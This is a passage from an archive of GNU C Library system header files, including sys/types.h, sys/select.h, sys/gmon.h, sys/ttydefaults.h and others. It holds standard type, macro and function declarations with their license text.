details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSCTL_H #define _SYS_SYSCTL_H 1 #include <features.h> #define __need_size_t #include <stddef.h> /* Prevent more kernel headers than necessary to be included. */ #ifndef _LINUX_KERNEL_H # define _LINUX_KERNEL_H 1 # define __undef_LINUX_KERNEL_H #endif #ifndef _LINUX_TYPES_H # define _LINUX_TYPES_H 1 # define __undef_LINUX_TYPES_H #endif #ifndef _LINUX_LIST_H # define _LINUX_LIST_H 1 # define __undef_LINUX_LIST_H #endif #ifndef __LINUX_COMPILER_H # define __LINUX_COMPILER_H 1 # define __user # define __undef__LINUX_COMPILER_H #endif #include <linux/sysctl.h> #ifdef __undef_LINUX_KERNEL_H # undef _LINUX_KERNEL_H # undef __undef_LINUX_KERNEL_H #endif #ifdef __undef_LINUX_TYPES_H # undef _LINUX_TYPES_H # undef __undef_LINUX_TYPES_H #endif #ifdef __undef_LINUX_LIST_H # undef _LINUX_LIST_H # undef __undef_LINUX_LIST_H #endif #ifdef __undef__LINUX_COMPILER_H # undef __LINUX_COMPILER_H # undef __user # undef __undef__LINUX_COMPILER_H #endif #include <bits/sysctl.h> __BEGIN_DECLS /* Read or write system parameters. */ extern int sysctl (int *__name, int __nlen, void *__oldval, size_t *__oldlenp, void *__newval, size_t __newlen) __THROW; __END_DECLS #endif /* _SYS_SYSCTL_H */ sys/sdt-config.h 0000644 00000000424 15246445046 0007602 0 ustar 00 /* includes/sys/sdt-config.h. Generated from sdt-config.h.in by configure. This file just defines _SDT_ASM_SECTION_AUTOGROUP_SUPPORT to 0 or 1 to indicate whether the assembler supports "?" in .pushsection directives. */ #define _SDT_ASM_SECTION_AUTOGROUP_SUPPORT 1 sys/timeb.h 0000644 00000002540 15246445046 0006646 0 ustar 00 /* Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_TIMEB_H #define _SYS_TIMEB_H 1 #include <features.h> #include <bits/types/time_t.h> __BEGIN_DECLS /* Structure returned by the `ftime' function. */ struct timeb { time_t time; /* Seconds since epoch, as from `time'. */ unsigned short int millitm; /* Additional milliseconds. */ short int timezone; /* Minutes west of GMT. */ short int dstflag; /* Nonzero if Daylight Savings Time used. */ }; /* Fill in TIMEBUF with information about the current time. */ extern int ftime (struct timeb *__timebuf); __END_DECLS #endif /* sys/timeb.h */ sys/types.h 0000644 00000013120 15246445046 0006706 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 2.6 Primitive System Data Types <sys/types.h> */ #ifndef _SYS_TYPES_H #define _SYS_TYPES_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types.h> #ifdef __USE_MISC # ifndef __u_char_defined typedef __u_char u_char; typedef __u_short u_short; typedef __u_int u_int; typedef __u_long u_long; typedef __quad_t quad_t; typedef __u_quad_t u_quad_t; typedef __fsid_t fsid_t; # define __u_char_defined # endif typedef __loff_t loff_t; #endif #ifndef __ino_t_defined # ifndef __USE_FILE_OFFSET64 typedef __ino_t ino_t; # else typedef __ino64_t ino_t; # endif # define __ino_t_defined #endif #if defined __USE_LARGEFILE64 && !defined __ino64_t_defined typedef __ino64_t ino64_t; # define __ino64_t_defined #endif #ifndef __dev_t_defined typedef __dev_t dev_t; # define __dev_t_defined #endif #ifndef __gid_t_defined typedef __gid_t gid_t; # define __gid_t_defined #endif #ifndef __mode_t_defined typedef __mode_t mode_t; # define __mode_t_defined #endif #ifndef __nlink_t_defined typedef __nlink_t nlink_t; # define __nlink_t_defined #endif #ifndef __uid_t_defined typedef __uid_t uid_t; # define __uid_t_defined #endif #ifndef __off_t_defined # ifndef __USE_FILE_OFFSET64 typedef __off_t off_t; # else typedef __off64_t off_t; # endif # define __off_t_defined #endif #if defined __USE_LARGEFILE64 && !defined __off64_t_defined typedef __off64_t off64_t; # define __off64_t_defined #endif #ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined #endif #if (defined __USE_XOPEN || defined __USE_XOPEN2K8) \ && !defined __id_t_defined typedef __id_t id_t; # define __id_t_defined #endif #ifndef __ssize_t_defined typedef __ssize_t ssize_t; # define __ssize_t_defined #endif #ifdef __USE_MISC # ifndef __daddr_t_defined typedef __daddr_t daddr_t; typedef __caddr_t caddr_t; # define __daddr_t_defined # endif #endif #if (defined __USE_MISC || defined __USE_XOPEN) && !defined __key_t_defined typedef __key_t key_t; # define __key_t_defined #endif #if defined __USE_XOPEN || defined __USE_XOPEN2K8 # include <bits/types/clock_t.h> #endif #include <bits/types/clockid_t.h> #include <bits/types/time_t.h> #include <bits/types/timer_t.h> #ifdef __USE_XOPEN # ifndef __useconds_t_defined typedef __useconds_t useconds_t; # define __useconds_t_defined # endif # ifndef __suseconds_t_defined typedef __suseconds_t suseconds_t; # define __suseconds_t_defined # endif #endif #define __need_size_t #include <stddef.h> #ifdef __USE_MISC /* Old compatibility names for C types. */ typedef unsigned long int ulong; typedef unsigned short int ushort; typedef unsigned int uint; #endif /* These size-specific names are used by some of the inet code. */ #include <bits/stdint-intn.h> /* These were defined by ISO C without the first `_'. */ typedef __uint8_t u_int8_t; typedef __uint16_t u_int16_t; typedef __uint32_t u_int32_t; typedef __uint64_t u_int64_t; #if __GNUC_PREREQ (2, 7) typedef int register_t __attribute__ ((__mode__ (__word__))); #else typedef int register_t; #endif /* Some code from BIND tests this macro to see if the types above are defined. */ #define __BIT_TYPES_DEFINED__ 1 #ifdef __USE_MISC /* In BSD <sys/types.h> is expected to define BYTE_ORDER. */ # include <endian.h> /* It also defines `fd_set' and the FD_* macros for `select'. */ # include <sys/select.h> #endif /* Use misc. */ #if (defined __USE_UNIX98 || defined __USE_XOPEN2K8) \ && !defined __blksize_t_defined typedef __blksize_t blksize_t; # define __blksize_t_defined #endif /* Types from the Large File Support interface. */ #ifndef __USE_FILE_OFFSET64 # ifndef __blkcnt_t_defined typedef __blkcnt_t blkcnt_t; /* Type to count number of disk blocks. */ # define __blkcnt_t_defined # endif # ifndef __fsblkcnt_t_defined typedef __fsblkcnt_t fsblkcnt_t; /* Type to count file system blocks. */ # define __fsblkcnt_t_defined # endif # ifndef __fsfilcnt_t_defined typedef __fsfilcnt_t fsfilcnt_t; /* Type to count file system inodes. */ # define __fsfilcnt_t_defined # endif #else # ifndef __blkcnt_t_defined typedef __blkcnt64_t blkcnt_t; /* Type to count number of disk blocks. */ # define __blkcnt_t_defined # endif # ifndef __fsblkcnt_t_defined typedef __fsblkcnt64_t fsblkcnt_t; /* Type to count file system blocks. */ # define __fsblkcnt_t_defined # endif # ifndef __fsfilcnt_t_defined typedef __fsfilcnt64_t fsfilcnt_t; /* Type to count file system inodes. */ # define __fsfilcnt_t_defined # endif #endif #ifdef __USE_LARGEFILE64 typedef __blkcnt64_t blkcnt64_t; /* Type to count number of disk blocks. */ typedef __fsblkcnt64_t fsblkcnt64_t; /* Type to count file system blocks. */ typedef __fsfilcnt64_t fsfilcnt64_t; /* Type to count file system inodes. */ #endif /* Now add the thread types. */ #if defined __USE_POSIX199506 || defined __USE_UNIX98 # include <bits/pthreadtypes.h> #endif __END_DECLS #endif /* sys/types.h */ sys/ttydefaults.h 0000644 00000006760 15246445046 0010126 0 ustar 00 /*- * Copyright (c) 1982, 1986, 1993 * The Regents of the University of California. All rights reserved. * (c) UNIX System Laboratories, Inc. * All or some portions of this file are derived from material licensed * to the University of California by American Telephone and Telegraph * Co. or Unix System Laboratories, Inc. and are reproduced herein with * the permission of UNIX System Laboratories, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)ttydefaults.h 8.4 (Berkeley) 1/21/94 */ /* * System wide defaults for terminal state. Linux version. */ #ifndef _SYS_TTYDEFAULTS_H_ #define _SYS_TTYDEFAULTS_H_ /* * Defaults on "first" open. */ #define TTYDEF_IFLAG (BRKINT | ISTRIP | ICRNL | IMAXBEL | IXON | IXANY) #define TTYDEF_OFLAG (OPOST | ONLCR | XTABS) #define TTYDEF_LFLAG (ECHO | ICANON | ISIG | IEXTEN | ECHOE|ECHOKE|ECHOCTL) #define TTYDEF_CFLAG (CREAD | CS7 | PARENB | HUPCL) #define TTYDEF_SPEED (B9600) /* * Control Character Defaults */ #define CTRL(x) (x&037) #define CEOF CTRL('d') #ifdef _POSIX_VDISABLE # define CEOL _POSIX_VDISABLE #else # define CEOL '\0' /* XXX avoid _POSIX_VDISABLE */ #endif #define CERASE 0177 #define CINTR CTRL('c') #ifdef _POSIX_VDISABLE # define CSTATUS _POSIX_VDISABLE #else # define CSTATUS '\0' /* XXX avoid _POSIX_VDISABLE */ #endif #define CKILL CTRL('u') #define CMIN 1 #define CQUIT 034 /* FS, ^\ */ #define CSUSP CTRL('z') #define CTIME 0 #define CDSUSP CTRL('y') #define CSTART CTRL('q') #define CSTOP CTRL('s') #define CLNEXT CTRL('v') #define CDISCARD CTRL('o') #define CWERASE CTRL('w') #define CREPRINT CTRL('r') #define CEOT CEOF /* compat */ #define CBRK CEOL #define CRPRNT CREPRINT #define CFLUSH CDISCARD /* PROTECTED INCLUSION ENDS HERE */ #endif /* !_SYS_TTYDEFAULTS_H_ */ /* * #define TTYDEFCHARS to include an array of default control characters. */ #ifdef TTYDEFCHARS cc_t ttydefchars[NCCS] = { CEOF, CEOL, CEOL, CERASE, CWERASE, CKILL, CREPRINT, _POSIX_VDISABLE, CINTR, CQUIT, CSUSP, CDSUSP, CSTART, CSTOP, CLNEXT, CDISCARD, CMIN, CTIME, CSTATUS, _POSIX_VDISABLE }; #undef TTYDEFCHARS #endif sys/socketvar.h 0000644 00000000215 15246445046 0007544 0 ustar 00 /* This header is used on many systems but for GNU we have everything already defined in the standard header. */ #include <sys/socket.h> sys/swap.h 0000644 00000003070 15246445046 0006517 0 ustar 00 /* Calls to enable and disable swapping on specified locations. Linux version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SWAP_H #define _SYS_SWAP_H 1 #include <features.h> /* The swap priority is encoded as: (prio << SWAP_FLAG_PRIO_SHIFT) & SWAP_FLAG_PRIO_MASK */ #define SWAP_FLAG_PREFER 0x8000 /* Set if swap priority is specified. */ #define SWAP_FLAG_PRIO_MASK 0x7fff #define SWAP_FLAG_PRIO_SHIFT 0 #define SWAP_FLAG_DISCARD 0x10000 /* Discard swap cluster after use. */ __BEGIN_DECLS /* Make the block special device PATH available to the system for swapping. This call is restricted to the super-user. */ extern int swapon (const char *__path, int __flags) __THROW; /* Stop using block special device PATH for swapping. */ extern int swapoff (const char *__path) __THROW; __END_DECLS #endif /* _SYS_SWAP_H */ sys/perm.h 0000644 00000002146 15246445046 0006513 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PERM_H #define _SYS_PERM_H 1 #include <features.h> __BEGIN_DECLS /* Set port input/output permissions. */ extern int ioperm (unsigned long int __from, unsigned long int __num, int __turn_on) __THROW; /* Change I/O privilege level. */ extern int iopl (int __level) __THROW; __END_DECLS #endif /* _SYS_PERM_H */ sys/elf.h 0000644 00000001777 15246445046 0006327 0 ustar 00 /* Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_ELF_H #define _SYS_ELF_H 1 #ifdef __x86_64__ # error This header is unsupported on x86-64. #else # warning "This header is obsolete; use <sys/procfs.h> instead." # include <sys/procfs.h> #endif #endif /* _SYS_ELF_H */ sys/gmon.h 0000644 00000014126 15246445046 0006511 0 ustar 00 /*- * Copyright (c) 1982, 1986, 1992, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)gmon.h 8.2 (Berkeley) 1/4/94 */ #ifndef _SYS_GMON_H #define _SYS_GMON_H 1 #include <features.h> #include <sys/types.h> /* * See gmon_out.h for gmon.out format. */ /* structure emitted by "gcc -a". This must match struct bb in gcc/libgcc2.c. It is OK for gcc to declare a longer structure as long as the members below are present. */ struct __bb { long zero_word; const char *filename; long *counts; long ncounts; struct __bb *next; const unsigned long *addresses; }; extern struct __bb *__bb_head; /* * histogram counters are unsigned shorts (according to the kernel). */ #define HISTCOUNTER unsigned short /* * fraction of text space to allocate for histogram counters here, 1/2 */ #define HISTFRACTION 2 /* * Fraction of text space to allocate for from hash buckets. * The value of HASHFRACTION is based on the minimum number of bytes * of separation between two subroutine call points in the object code. * Given MIN_SUBR_SEPARATION bytes of separation the value of * HASHFRACTION is calculated as: * * HASHFRACTION = MIN_SUBR_SEPARATION / (2 * sizeof(short) - 1); * * For example, on the VAX, the shortest two call sequence is: * * calls $0,(r0) * calls $0,(r0) * * which is separated by only three bytes, thus HASHFRACTION is * calculated as: * * HASHFRACTION = 3 / (2 * 2 - 1) = 1 * * Note that the division above rounds down, thus if MIN_SUBR_FRACTION * is less than three, this algorithm will not work! * * In practice, however, call instructions are rarely at a minimal * distance. Hence, we will define HASHFRACTION to be 2 across all * architectures. This saves a reasonable amount of space for * profiling data structures without (in practice) sacrificing * any granularity. */ #define HASHFRACTION 2 /* * Percent of text space to allocate for tostructs. * This is a heuristic; we will fail with a warning when profiling programs * with a very large number of very small functions, but that's * normally OK. * 2 is probably still a good value for normal programs. * Profiling a test case with 64000 small functions will work if * you raise this value to 3 and link statically (which bloats the * text size, thus raising the number of arcs expected by the heuristic). */ #define ARCDENSITY 3 /* * Always allocate at least this many tostructs. This * hides the inadequacy of the ARCDENSITY heuristic, at least * for small programs. * * Value can be overridden at runtime by glibc.gmon.minarcs tunable. */ #define MINARCS 50 /* * The type used to represent indices into gmonparam.tos[]. */ #define ARCINDEX unsigned long /* * Maximum number of arcs we want to allow. * Used to be max representable value of ARCINDEX minus 2, but now * that ARCINDEX is a long, that's too large; we don't really want * to allow a 48 gigabyte table. * * Value can be overridden at runtime by glibc.gmon.maxarcs tunable. */ #define MAXARCS (1 << 20) struct tostruct { unsigned long selfpc; long count; ARCINDEX link; }; /* * a raw arc, with pointers to the calling site and * the called site and a count. */ struct rawarc { unsigned long raw_frompc; unsigned long raw_selfpc; long raw_count; }; /* * general rounding functions. */ #define ROUNDDOWN(x,y) (((x)/(y))*(y)) #define ROUNDUP(x,y) ((((x)+(y)-1)/(y))*(y)) /* * The profiling data structures are housed in this structure. */ struct gmonparam { long int state; unsigned short *kcount; unsigned long kcountsize; ARCINDEX *froms; unsigned long fromssize; struct tostruct *tos; unsigned long tossize; long tolimit; unsigned long lowpc; unsigned long highpc; unsigned long textsize; unsigned long hashfraction; long log_hashfraction; }; /* * Possible states of profiling. */ #define GMON_PROF_ON 0 #define GMON_PROF_BUSY 1 #define GMON_PROF_ERROR 2 #define GMON_PROF_OFF 3 /* * Sysctl definitions for extracting profiling information from the kernel. */ #define GPROF_STATE 0 /* int: profiling enabling variable */ #define GPROF_COUNT 1 /* struct: profile tick count buffer */ #define GPROF_FROMS 2 /* struct: from location hash bucket */ #define GPROF_TOS 3 /* struct: destination/count structure */ #define GPROF_GMONPARAM 4 /* struct: profiling parameters (see above) */ __BEGIN_DECLS /* Set up data structures and start profiling. */ extern void __monstartup (unsigned long __lowpc, unsigned long __highpc) __THROW; extern void monstartup (unsigned long __lowpc, unsigned long __highpc) __THROW; /* Clean up profiling and write out gmon.out. */ extern void _mcleanup (void) __THROW; __END_DECLS #endif /* sys/gmon.h */ sys/statfs.h 0000644 00000004055 15246445046 0007055 0 ustar 00 /* Definitions for getting information about a filesystem. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STATFS_H #define _SYS_STATFS_H 1 #include <features.h> /* Get the system-specific definition of `struct statfs'. */ #include <bits/statfs.h> __BEGIN_DECLS /* Return information about the filesystem on which FILE resides. */ #ifndef __USE_FILE_OFFSET64 extern int statfs (const char *__file, struct statfs *__buf) __THROW __nonnull ((1, 2)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (statfs, (const char *__file, struct statfs *__buf), statfs64) __nonnull ((1, 2)); # else # define statfs statfs64 # endif #endif #ifdef __USE_LARGEFILE64 extern int statfs64 (const char *__file, struct statfs64 *__buf) __THROW __nonnull ((1, 2)); #endif /* Return information about the filesystem containing the file FILDES refers to. */ #ifndef __USE_FILE_OFFSET64 extern int fstatfs (int __fildes, struct statfs *__buf) __THROW __nonnull ((2)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (fstatfs, (int __fildes, struct statfs *__buf), fstatfs64) __nonnull ((2)); # else # define fstatfs fstatfs64 # endif #endif #ifdef __USE_LARGEFILE64 extern int fstatfs64 (int __fildes, struct statfs64 *__buf) __THROW __nonnull ((2)); #endif __END_DECLS #endif /* sys/statfs.h */ sys/utsname.h 0000644 00000004660 15246445046 0007227 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 4.4 System Identification <sys/utsname.h> */ #ifndef _SYS_UTSNAME_H #define _SYS_UTSNAME_H 1 #include <features.h> __BEGIN_DECLS #include <bits/utsname.h> #ifndef _UTSNAME_SYSNAME_LENGTH # define _UTSNAME_SYSNAME_LENGTH _UTSNAME_LENGTH #endif #ifndef _UTSNAME_NODENAME_LENGTH # define _UTSNAME_NODENAME_LENGTH _UTSNAME_LENGTH #endif #ifndef _UTSNAME_RELEASE_LENGTH # define _UTSNAME_RELEASE_LENGTH _UTSNAME_LENGTH #endif #ifndef _UTSNAME_VERSION_LENGTH # define _UTSNAME_VERSION_LENGTH _UTSNAME_LENGTH #endif #ifndef _UTSNAME_MACHINE_LENGTH # define _UTSNAME_MACHINE_LENGTH _UTSNAME_LENGTH #endif /* Structure describing the system and machine. */ struct utsname { /* Name of the implementation of the operating system. */ char sysname[_UTSNAME_SYSNAME_LENGTH]; /* Name of this node on the network. */ char nodename[_UTSNAME_NODENAME_LENGTH]; /* Current release level of this implementation. */ char release[_UTSNAME_RELEASE_LENGTH]; /* Current version level of this release. */ char version[_UTSNAME_VERSION_LENGTH]; /* Name of the hardware type the system is running on. */ char machine[_UTSNAME_MACHINE_LENGTH]; #if _UTSNAME_DOMAIN_LENGTH - 0 /* Name of the domain of this node on the network. */ # ifdef __USE_GNU char domainname[_UTSNAME_DOMAIN_LENGTH]; # else char __domainname[_UTSNAME_DOMAIN_LENGTH]; # endif #endif }; #ifdef __USE_MISC /* Note that SVID assumes all members have the same size. */ # define SYS_NMLN _UTSNAME_LENGTH #endif /* Put information about the system in NAME. */ extern int uname (struct utsname *__name) __THROW; __END_DECLS #endif /* sys/utsname.h */ sys/select.h 0000644 00000010054 15246445046 0007024 0 ustar 00 /* `fd_set' type and related macros, and `select'/`pselect' declarations. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* POSIX 1003.1g: 6.2 Select from File Descriptor Sets <sys/select.h> */ #ifndef _SYS_SELECT_H #define _SYS_SELECT_H 1 #include <features.h> /* Get definition of needed basic types. */ #include <bits/types.h> /* Get __FD_* definitions. */ #include <bits/select.h> /* Get sigset_t. */ #include <bits/types/sigset_t.h> /* Get definition of timer specification structures. */ #include <bits/types/time_t.h> #include <bits/types/struct_timeval.h> #ifdef __USE_XOPEN2K # include <bits/types/struct_timespec.h> #endif #ifndef __suseconds_t_defined typedef __suseconds_t suseconds_t; # define __suseconds_t_defined #endif /* The fd_set member is required to be an array of longs. */ typedef long int __fd_mask; /* Some versions of <linux/posix_types.h> define this macros. */ #undef __NFDBITS /* It's easier to assume 8-bit bytes than to get CHAR_BIT. */ #define __NFDBITS (8 * (int) sizeof (__fd_mask)) #define __FD_ELT(d) ((d) / __NFDBITS) #define __FD_MASK(d) ((__fd_mask) (1UL << ((d) % __NFDBITS))) /* fd_set for select and pselect. */ typedef struct { /* XPG4.2 requires this member name. Otherwise avoid the name from the global namespace. */ #ifdef __USE_XOPEN __fd_mask fds_bits[__FD_SETSIZE / __NFDBITS]; # define __FDS_BITS(set) ((set)->fds_bits) #else __fd_mask __fds_bits[__FD_SETSIZE / __NFDBITS]; # define __FDS_BITS(set) ((set)->__fds_bits) #endif } fd_set; /* Maximum number of file descriptors in `fd_set'. */ #define FD_SETSIZE __FD_SETSIZE #ifdef __USE_MISC /* Sometimes the fd_set member is assumed to have this type. */ typedef __fd_mask fd_mask; /* Number of bits per word of `fd_set' (some code assumes this is 32). */ # define NFDBITS __NFDBITS #endif /* Access macros for `fd_set'. */ #define FD_SET(fd, fdsetp) __FD_SET (fd, fdsetp) #define FD_CLR(fd, fdsetp) __FD_CLR (fd, fdsetp) #define FD_ISSET(fd, fdsetp) __FD_ISSET (fd, fdsetp) #define FD_ZERO(fdsetp) __FD_ZERO (fdsetp) __BEGIN_DECLS /* Check the first NFDS descriptors each in READFDS (if not NULL) for read readiness, in WRITEFDS (if not NULL) for write readiness, and in EXCEPTFDS (if not NULL) for exceptional conditions. If TIMEOUT is not NULL, time out after waiting the interval specified therein. Returns the number of ready descriptors, or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int select (int __nfds, fd_set *__restrict __readfds, fd_set *__restrict __writefds, fd_set *__restrict __exceptfds, struct timeval *__restrict __timeout); #ifdef __USE_XOPEN2K /* Same as above only that the TIMEOUT value is given with higher resolution and a sigmask which is been set temporarily. This version should be used. This function is a cancellation point and therefore not marked with __THROW. */ extern int pselect (int __nfds, fd_set *__restrict __readfds, fd_set *__restrict __writefds, fd_set *__restrict __exceptfds, const struct timespec *__restrict __timeout, const __sigset_t *__restrict __sigmask); #endif /* Define some inlines helping to catch common problems. */ #if __USE_FORTIFY_LEVEL > 0 && defined __GNUC__ # include <bits/select2.h> #endif __END_DECLS #endif /* sys/select.h */ sys/ioctl.h 0000644 00000003313 15246445046 0006657 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IOCTL_H #define _SYS_IOCTL_H 1 #include <features.h> __BEGIN_DECLS /* Get the list of `ioctl' requests and related constants. */ #include <bits/ioctls.h> /* Define some types used by `ioctl' requests. */ #include <bits/ioctl-types.h> /* On a Unix system, the system <sys/ioctl.h> probably defines some of the symbols we define in <sys/ttydefaults.h> (usually with the same values). The code to generate <bits/ioctls.h> has omitted these symbols to avoid the conflict, but a Unix program expects <sys/ioctl.h> to define them, so we must include <sys/ttydefaults.h> here. */ #include <sys/ttydefaults.h> /* Perform the I/O control operation specified by REQUEST on FD. One argument may follow; its presence and type depend on REQUEST. Return value depends on REQUEST. Usually -1 indicates error. */ extern int ioctl (int __fd, unsigned long int __request, ...) __THROW; __END_DECLS #endif /* sys/ioctl.h */ sys/mount.h 0000644 00000012753 15246445046 0006717 0 ustar 00 /* Header file for mounting/unmount Linux filesystems. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library 